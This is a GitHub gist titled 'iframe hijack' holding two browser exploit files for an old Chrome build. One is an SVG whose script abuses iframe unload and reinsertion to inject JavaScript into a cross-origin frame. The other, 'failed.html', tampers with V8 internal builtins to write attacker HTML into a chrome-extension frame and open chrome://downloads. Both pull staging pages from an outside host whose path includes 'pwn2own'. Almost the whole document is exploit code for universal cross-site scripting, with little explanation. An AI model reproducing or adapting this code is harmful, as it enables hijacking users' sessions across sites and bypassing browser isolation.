Skip to content

Instantly share code, notes, and snippets.

@hellok

hellok/1.svg

Last active December 15, 2015 20:09
Show Gist options
  • Save hellok/5316633 to your computer and use it in GitHub Desktop.
Save hellok/5316633 to your computer and use it in GitHub Desktop.
Download ZIP
iframe hijack
Display the source blob
Display the rendered blob
Raw
1.svg
<svg xmlns="http://www.w3.org/2000/svg">
test on 19.0.1059.0
<script>
function main()
{
if (location.hash == "#step2") {
document.documentElement.appendChild(parent.container);
parent.targetFrame.src = "javascript:var popup,context;\x0a\x0dfunction step1(){popup =window.open(null, 'popup');setTimeout(\"step2()\", 1000);}\x0a\x0dfunction step2() {context = popup.Function;popup.location = 'http://repro.sinaapp.com/chrome/pwn2own/iframe2.html';\x0a\x0dsetTimeout(\"step3()\", 1000);}\x0a\x0dfunction step3(){context(\"popup\", \"popup.frames[0].location = ' data:text/html,%3cbody%3e%3cscript%3eframe=document.body.appendChild(document.createElement(\\x22iframe\\x22));frame.src=\\x22http://baidu.com\\x22;%3c\/script%3e%3c\/body%3e'\")(popup);setTimeout(\"step4()\", 2000);}function step4() {popup.location = \"data:text/html,%3cscript%3ehistory.back()%3c/script%3e\";}\x0a\x0dsetTimeout(\"step1()\", 2000);";
return;
}
var xhtml = "http://www.w3.org/1999/xhtml";
container = document.documentElement.appendChild(document.createElementNS(xhtml, "div"));
helperFrame = container.appendChild(document.createElementNS(xhtml, "iframe"));
targetFrame = document.createElementNS(xhtml, "iframe");
helperFrame.contentWindow.onunload = function() {
container.insertBefore(targetFrame, helperFrame);
}
document.documentElement.removeChild(container);
targetFrame.contentWindow.location = "http://baidu.com";
targetFrame.onload = function() {
targetFrame.onload = null;
document.documentElement.appendChild(helperFrame);
helperFrame.src = location + "#step2";
}
}
main()
</script>
<element attr="1" attr="2"/>
</svg>
Raw
failed.html
<title>for M17 build by hellok</title>
<body>
<script>
frame = document.body.appendChild(document.createElement("iframe"));
frame.src = "chrome-extension://123/dd.html";
inject3 = "<html><body>111<script>var popup;var context;\x0a\x0dfunction step1(){popup = window.open(null, 'popup');setTimeout(\"step2()\", 1000);}\x0a\x0dfunction step2() {context = popup.Function;popup.location = 'http://repro.sinaapp.com/chrome/pwn2own/iframe1.html';\x0a\x0dsetTimeout(\"step3()\", 500);}\x0a\x0dfunction step3(){alert(popup.frames[0]);context(\"popup\", \"popup.frames[0].location = ' data:text/html,%3cbody%3e%3cscript%3eframe=document.body.appendChild(document.createElement(\\x22iframe\\x22));frame.src=\\x22http://baidu.com\\x22;%3c\/script%3e%3c\/body%3e'\")(popup);setTimeout(\"step4()\", 1000);}function step4() {popup.location = \"data:text/html,%3cscript%3ehistory.back()%3c/script%3e\";}\x0a\x0dsetTimeout(\"step1()\", 1000);<\/script><\/body><\/html>";
inject1="<script>function go(){open.call(window, 'chrome://downloads'); }setTimeout('go()', 1000);alert(document.location);<\/script>";
inject2="<script><\/script>";
inject = "<html><body>333<script>var popup,context;\x0a\x0dfunction step1(){popup =window.open(null, 'popup');setTimeout(\"step2()\", 1000);}\x0a\x0dfunction step2() {alert(popup.Function);context = popup.Function;popup.location = 'http://192.168.0.109/chrome/index.html';\x0a\x0dsetTimeout(\"step3()\", 1000);}\x0a\x0dfunction step3(){alert(popup);alert(context);context(\"popup\", \"popup.frames[0].location = ' data:text/html,%3cbody%3e%3cscript%3eframe=document.body.appendChild(document.createElement(\\x22iframe\\x22));frame.src=\\x22http://baidu.com\\x22;%3c\/script%3e%3c\/body%3e'\")(popup);setTimeout(\"step4()\", 2000);}function step4() {popup.location = \"data:text/html,%3cscript%3ehistory.back()%3c/script%3e\";}\x0a\x0dsetTimeout(\"step1()\", 2000);<\/script><\/body><\/html>";
frame.onload = function() {
Function("}, (builtins = this), function() {");
originalInstantiate = builtins.Instantiate;
builtins.DefineOneShotAccessor(builtins, "Instantiate", function() {});
flag = 0;
template = null;
builtins.Instantiate = function(x, y) {
if (flag) {
doc = frame.contentWindow.document;
doc.write(inject);
doc.body.appendChild(doc.createElement("div"));
//(doc.body.innerHTML);
//setTimeout("alert(\"frame:\"+frame.src)",1000);
flag = 0;
} else if (!template)
template = x;
return originalInstantiate(x, y);
};
document.implementation;
flag = 1;
builtins.ConfigureTemplateInstance(frame.contentWindow, template);
}
</script>
</body>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment